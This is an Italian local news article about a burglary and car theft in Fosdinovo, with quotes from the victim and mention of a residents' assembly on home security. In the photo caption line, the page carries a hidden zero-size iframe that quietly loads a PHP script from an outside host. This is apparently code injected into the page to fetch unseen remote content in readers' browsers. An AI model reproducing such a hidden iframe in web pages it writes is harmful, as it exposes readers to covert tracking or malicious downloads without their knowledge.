Il Tirreno

«Mi hanno rubato anche l'auto»

Il sopralluogo dei carabinieri<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Il sopralluogo dei carabinieri

La vettura è stata ritrovata dai carabinieri

2 MINUTI DI LETTURA





FOSDINOVO. Ha del clamoroso quello che è accaduto a Emanuele Massari, 33 anni, sposato e padre di due bimbi.  Sabato pomeriggio con la famiglia era uscito di casa, in via Castagna, un chilometro sopra l'abitazione di De Cesari. «Avevo preso l'auto di mia moglie; la mia, una Ford Fiesta, l'avevo lasciata parcheggiata, le chiavi dentro casa». Dopo cena stavano ritornando.  «Mi hanno chiamato i carabinieri, dicendo che avevano trovato la mia auto, abbandonata in una zona dietro la casa di De Cesari. Sono andato là, era tutta sottosopra». Il pensiero gli è andato subito alla sua casa.  «Ho detto ai carabinieri, "venite a casa mia, andiamo subito a controllare, non vorrei che...."». Le sue paure ernao fondate. Massari ha scoperto che c'erano stati i ladri. «Hanno preso degli ori, non granché. La mia fede nuzionale l'avevo infilata su un pupazzo, non l'hanno vista». La mostra, contento, al dito.  Ma nella casa i ladri hanno preso le chiavi dell'auto Fiesta, e si sono allontanati a bordo del veicolo, salvo poi abbandonarlo, non si sa perché, un chilometro più sotto. Forse per andare a rubare da De Cesari? Non si sa. «Dal contachilometri - dice Massari - ho visto che ne sono stati percorsi una quindicina, non uno solo. Devono aver girato per un po'». Il piccolo gruppo di abitanti radunatosi fra la casa di De Cesari e della Poli cerca anche di scherzare, tanto per alleggerire la tensione.  Massari: «I carabinieri hanno ritrovato la mia auto, quando ancora non sapevo che mi era stata rubata» (indagini in corso anche su furti di vetture, che potrebbero essere messi in relazione con la banda che imperversa a Fosdinovo). E De Cesari: «In casa sul tavolo, i ladri avranno pure letto i volantini per l'assemblea di giovedì prossimo». L'ha organizzata per le ore 21 nella palestra di Caniparola, il "Comitato anti intrusioni", con il sindaco Massimo Dadà. Tema, "la sicurezza nelle proprie case". Un volantino eloquente: "Basta con i furti e le sopraffazioni. Chi non ne può più di queste violenze, partecipi". (C.C)

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Proteste

Sciopero della scuola e dei trasporti venerdì 16 ottobre: le fasce garantite e i motivi della protesta

di Redazione web